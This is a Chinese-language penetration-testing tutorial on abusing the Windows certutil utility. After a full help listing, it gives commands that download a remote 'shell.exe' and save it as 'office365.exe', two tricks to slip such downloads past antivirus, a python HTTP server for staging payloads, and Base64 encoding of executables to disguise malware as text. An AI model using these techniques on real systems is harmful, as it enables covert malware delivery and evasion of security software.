一、Certutil 介紹
Windows有一個名為CertUtil的內建程式,可用於在Windows中管理證書。使用此程式可以在Windows中安裝,備份,刪除,管理和執行與證書和證書儲存相關的各種功能。
CertUtil的一個特性是能夠從遠端URL下載證書或任何其他檔案,因為certutil是windows自帶的exe。
使用語法 :
"certutil.exe -urlcache -split -f [URL] output.file"
-f
覆蓋現有檔案。
有值的命令列選項。後面跟要下載的檔案 url。
-split
儲存到檔案。
無值的命令列選項。加了的話就可以下載到當前路徑,不加就下載到了預設路徑。
-URLCache
顯示或刪除URL快取條目。
無值的命令列選項。
但是此合法Windows服務現已被廣泛濫用於惡意用途。
滲透中主要利用其 下載、編碼、解碼、替代資料流 等功能。
這裡我首先在命令列用certutil -?檢視一下certutil所有的引數,接下來就總結一下最常用的幾個關於certutil在內網滲透中的應用。
點選檢視程式碼
C:\Users\123456\Desktop>certutil -?
動詞:
-dump -- 轉儲配置資訊或檔案
-dumpPFX -- 轉儲 PFX 結構
-asn -- 分析 ASN.1 檔案
-decodehex -- 解碼十六進位制編碼的檔案
-decode -- 解碼 Base64 編碼的檔案
-encode -- 將檔案編碼為 Base64
-deny -- 拒絕掛起的申請
-resubmit -- 重新提交掛起的申請
-setattributes -- 為掛起申請設定屬性
-setextension -- 為掛起申請設定擴充套件
-revoke -- 吊銷證書
-isvalid -- 顯示當前證書部署
-getconfig -- 獲取預設配置字串
-ping -- Ping Active Directory 證書服務申請介面
-pingadmin -- Ping Active Directory 證書服務管理介面
-CAInfo -- 顯示 CA 資訊
-ca.cert -- 檢索 CA 的證書
-ca.chain -- 檢索 CA 的證書鏈
-GetCRL -- 獲取 CRL
-CRL -- 釋出新的 CRL [或僅增量 CRL]
-shutdown -- 關閉 Active Directory 證書服務
-installCert -- 安裝證書頒發機構證書
-renewCert -- 續訂證書頒發機構證書
-schema -- 轉儲證書架構
-view -- 轉儲證書檢視
-db -- 轉儲原始資料庫
-deleterow -- 刪除伺服器資料庫行
-backup -- 備份 Active Directory 證書服務
-backupDB -- 備份 Active Directory 證書服務資料庫
-backupKey -- 備份 Active Directory 證書服務證書和私鑰
-restore -- 還原 Active Directory 證書服務
-restoreDB -- 還原 Active Directory 證書服務資料庫
-restoreKey -- 還原 Active Directory 證書服務證書和私鑰
-importPFX -- 匯入證書和私鑰
-dynamicfilelist -- 顯示動態檔案列表
-databaselocations -- 顯示資料庫位置
-hashfile -- 透過檔案生成並顯示加密雜湊
-store -- 轉儲證書儲存
-enumstore -- 列舉證書儲存
-addstore -- 將證書新增到儲存
-delstore -- 從儲存刪除證書
-verifystore -- 驗證儲存中的證書
-repairstore -- 修復金鑰關聯,或者更新證書屬性或金鑰安全描述符
-viewstore -- 轉儲證書儲存
-viewdelstore -- 從儲存刪除證書
-UI -- 呼叫 CryptUI
-attest -- 驗證金鑰證明請求
-dsPublish -- 將證書或 CRL 釋出到 Active Directory
-ADTemplate -- 顯示 AD 模板
-Template -- 顯示註冊策略模板
-TemplateCAs -- 顯示模板的 CA
-CATemplates -- 顯示 CA 的模板
-SetCASites -- 管理 CA 的站點名稱
-enrollmentServerURL -- 顯示、新增或刪除與 CA 關聯的註冊伺服器 URL
-ADCA -- 顯示 AD CA
-CA -- 顯示註冊策略 CA
-Policy -- 顯示註冊策略
-PolicyCache -- 顯示或刪除註冊策略快取專案
-CredStore -- 顯示、新增或刪除憑據儲存專案
-InstallDefaultTemplates -- 安裝預設的證書模板
-URLCache -- 顯示或刪除 URL 快取專案
-pulse -- 以脈衝方式執行自動註冊事件或 NGC 任務
-MachineInfo -- 顯示 Active Directory 計算機物件資訊
-DCInfo -- 顯示域控制器資訊
-EntInfo -- 顯示企業資訊
-TCAInfo -- 顯示 CA 資訊
-SCInfo -- 顯示智慧卡資訊
-SCRoots -- 管理智慧卡根證書
-DeleteHelloContainer -- 刪除 Hello 登入容器。
** 在使用此選項後, 使用者需要登出才能完成。**
-verifykeys -- 驗證公/私鑰集
-verify -- 驗證證書,CRL 或鏈
-verifyCTL -- 驗證 AuthRoot 或不允許的證書 CTL
-syncWithWU -- 與 Windows 更新同步
-generateSSTFromWU -- 透過 Windows 更新生成 SST
-generatePinRulesCTL -- 生成捆綁規則 CTL
-downloadOcsp -- 下載 OCSP 響應並寫入目錄
-generateHpkpHeader -- 使用指定檔案或目錄中的證書生成 HPKP 頭
-flushCache -- 重新整理選定程序(例如 lsass.exe)中的指定快取
-addEccCurve -- 新增 ECC 曲線
-deleteEccCurve -- 刪除 ECC 曲線
-displayEccCurve -- 顯示 ECC 曲線
-sign -- 重新簽名 CRL 或證書
-vroot -- 建立/刪除 Web 虛擬根和檔案共享
-vocsproot -- 建立/刪除 OCSP Web Proxy 的 Web 虛擬根
-addEnrollmentServer -- 新增註冊伺服器應用程式
-deleteEnrollmentServer -- 刪除註冊伺服器應用程式
-addPolicyServer -- 新增策略伺服器應用程式
-deletePolicyServer -- 刪除策略伺服器應用程式
-oid -- 顯示 ObjectId 或設定顯示名稱
-error -- 顯示錯誤程式碼訊息文字
-getreg -- 顯示登錄檔值
-setreg -- 設定登錄檔值
-delreg -- 刪除登錄檔值
-ImportKMS -- 為金鑰存檔匯入使用者金鑰和證書到伺服器資料庫
-ImportCert -- 將證書檔案匯入資料庫
-GetKey -- 檢索存檔的私鑰恢復 Blob,生成恢復指令碼 或恢復存檔的金鑰
-RecoverKey -- 恢復存檔的私鑰
-MergePFX -- 合併 PFX 檔案
-ConvertEPF -- 將 PFX 檔案轉換為 EPF 檔案
-add-chain -- (-AddChain) 新增證書鏈
-add-pre-chain -- (-AddPrechain) 新增預植證書鏈
-get-sth -- (-GetSTH) 獲取簽名樹頭
-get-sth-consistency -- (-GetSTHConsistency) 獲取簽名樹頭更改
-get-proof-by-hash -- (-GetProofByHash) 獲取雜湊證明
-get-entries -- (-GetEntries) 獲取項
-get-roots -- (-GetRoots) 獲取根
-get-entry-and-proof -- (-GetEntryAndProof) 獲取項和證明
-VerifyCT -- 驗證證書 SCT
-? -- 顯示該用法訊息
CertUtil -? -- 顯示動詞列表(命名列表)
CertUtil -dump -? -- 顯示 "dump" 動詞的幫助文字
CertUtil -v -? -- 顯示所有動詞的所有幫助文字
CertUtil: -? 命令成功完成。
二、常用功能介紹
2.1 下載遠端檔案
在 cmd 中將檔案從網址上下載下來,儲存為123.txt
C:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt
如果超時沒有操作的話就會顯示拒絕訪問
這裡有兩種方法對殺軟進行certutil下載繞過,本質都是執行兩次certutil
第一種方法是先執行一個單獨的certutil,然後再執行下載exe的命令,可以看到這裡已經能夠成功下載
certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe
2.2 將本地程式搭建為http伺服器
將本地可執行程式,搭建為一個http伺服器,埠為8000,並執行該服務
http://192.168.206.130:8000
C:\Users\12345\Desktop>123.exe -python -m http.server 8000
C:\Users\12345\Desktop>python -m http.server 8000
certutil -urlcache -split -f http://192.168.206.130:8000/123.exe
2.3 使用CertUtil + Base64來繞過安全軟體
Certutil 包含一個編碼引數(編碼),這有助於在 Base64 中編碼檔案的內容。可以使用 certutil 對可執行檔案進行編碼,然後傳輸編碼後的資料,在接收機上對其進行解碼。
常用與sql注入,對任意檔案進行Base64編碼,使惡意程式碼樣本看起來像是無害的文字檔案,然後使用CertUtil.exe下載後對其進行解碼。下載了文字檔案使用“Certutil.exe -decode”命令將Base64編碼檔案解碼為可執行檔案。
將123.exe編碼為123.txt
C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt
將123.txt解碼為123.exe
C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe
更多詳解參考--->
https://mrwq.github.io/aggregate-paper/butian/certutil詳解/